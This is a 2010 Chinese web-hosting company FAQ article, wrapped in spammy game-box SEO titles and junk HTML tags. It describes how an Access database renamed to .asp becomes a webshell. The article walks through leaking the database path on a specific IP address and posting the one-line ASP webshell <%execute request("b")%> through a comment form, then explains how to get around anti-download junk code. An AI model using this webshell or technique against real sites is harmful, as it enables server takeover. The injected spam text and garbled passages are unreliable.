PP玩游戏盒,欧欧游戏盒子

成都网站建设|域名注册|虚拟主机|网站制作|网站案例|网站优化|网站推广|企业邮局|服务器租用|广告设计

网站策划 | 网站建设 | 网站案例 | 虚拟主机 | 网站推广 | 云服务器 | 成都网站制作公司 | php空间 | 独立IP空间 | jsp虚拟主机

网站程序

服务器租用

企业邮箱

虚拟主机

营销推广

网站建设

域名注册

前端开发

网站备案

移动互联网

当前位置：创新互联 >> 常见问题 >> 网站程序 >> asp程序 >> 改mdb为asp所带来的灾难

PP玩游戏盒,欧欧游戏盒子:改mdb为asp所带来的灾难

作者：创新互联文章来源：网站程序部点击数：更新时间：2010-09-25
　　随着网络安全技术的发展，小编发现管理员的素质都在提高，比如说在使用access+asp系统时，为了不数据库被人下载，到把mdb改为asp或asa。先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。因为入侵者可以利用asp/asa为后缀的数据库直接得到webshell。那么对于这种情况，我们在制作网站的时候要怎么样防范呢？
　　一．思路
　　大家都知道<％%>为asp文件的标志符，也就是说一个asp文件只会去执行<% %>之间的代码，access＋asp的web系统的所有数据都是存放在数据库文件里（mdb文件），由于管理者把mdb文件改为了asp文件，如果我们提交的数据里包含有<% %>，那当我们访问这个asp数据库的时候就会去执行<% %>之间的代码。这样导致我们只提交恶意代码给数据库，那么asp后缀的数据库就是我们的webshell了。
　　二．示例
　　随便找个目标，首先我们暴库，看是不是asp后缀的数据库：
　　http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210
　　返回：
　　Microsoft VBScript 编译器错误错误 '800a03f6'
　　缺少 'End'
　　/iisHelp/common/500-100.asp，行242
　　Microsoft JET Database Engine 错误 '80004005'
　　'D:log_mdb%29dlog_mdb%29.asp'不是一个有效的路径。确定路径名称拼写是否正确，以及是否连接到文件存放的服务器。
　　/test/conn.asp，行18
　　我们提交：http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp返回一堆的乱码，这样我们可以直接用网际快车等工具直接下载数据库（这里我们不讨论）。我们回到主页看到有提供“网友评论”功能。我们注册个用户，发一条评论：
　　< %execute request("b")%>
　　这样我们就把asp代码：<%execute request("b")%>写入了数据库，那么数据库：就是我们的webshell咯。提交：　　http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp在乱码的最后我们看到：
　　/iisHelp/common/500-100.asp，行242
　　Microsoft VBScript 运行时错误错误 '800a000d'
　　类型不匹配: 'execute'
　　/test/dlog/log_mdb/%29dlog_mdb%29.asp，行1266
　　注意：我们在向数据库提交代码时，代码内容不可以太大。所以我们采用<%execute request("b")%>。
　　三．其他一些问题和思路
　�。保杂诟牧撕笞何猘sp，还对数据库里加入了<%=’a’-1%>等非法的asp代码来彻底防止下载的数据库，由于里面存在了非法的asp代码，插入我们的webshell代码后运行，将只会显示前面非法代码的错误，而不去执行我们shell的代码。虽然这样可以防止一定的攻击，但还是存在一定的隐患，我们只要在出错的代码前加入兼容错误的代码，就可以得到正确显示执行我们插入的webshell代码了。
　�。玻杂诿挥懈暮笞旱�，也就是mdb文件，这样我们可以先直接下载下来得到后台密码，进了后台，可以利用数据库备用改后缀为asp。
Asp深度揭密之四 :上一篇
如何防范远程注入攻击以及ASP木马 :下一篇

移动互联网 | 网站备案 | 前端开发 | 域名注册 | 网站建设 | 营销推广 | 网站程序 | 虚拟主机 | 企业邮箱 | 服务器租用 | 热门搜索

服务电话：028-86922220 13518219792 公司地址：成都市太升南路288号锦天国际A幢10楼2号
企业邮箱：service@cdxwcx.com 版权所有：成都创新互联科技有限公司蜀ICP备09010846号成都网站建设

PP玩游戏盒在线平台入口（2026已更新）官方网站·IOS/安卓通用版/手机APP下载片仔癀药业股份有限公司

<tfoot id='kKTnwv'></tfoot>

<legend id='RUA5'><style id='MAw0'><dir id='9qJVO'><q id='rFQ7'></q></dir></style></legend>

<i id='4gGeXY'><tr id='7Gb796'><dt id='ENhUmb9'><q id='EARRewY'><span id='1Vrgr'><b id='X72TRZ'><form id='JVS3v'><ins id='lpLHc'></ins><ul id='UFqH6G'></ul><sub id='BZope'></sub></form><legend id='hrNlJ'></legend><bdo id='T8Rh8a'><pre id='mEnZA'><center id='gbQSL'></center></pre></bdo></b><th id='fkHi'></th></span></q></dt></tr></i><div id='uvvEffr'><tfoot id='PQ9R'></tfoot><dl id='2HGDG9'><fieldset id='bI4mm'></fieldset></dl></div>

<li id='b7jNzX'><abbr id='VHVqHc'></abbr></li>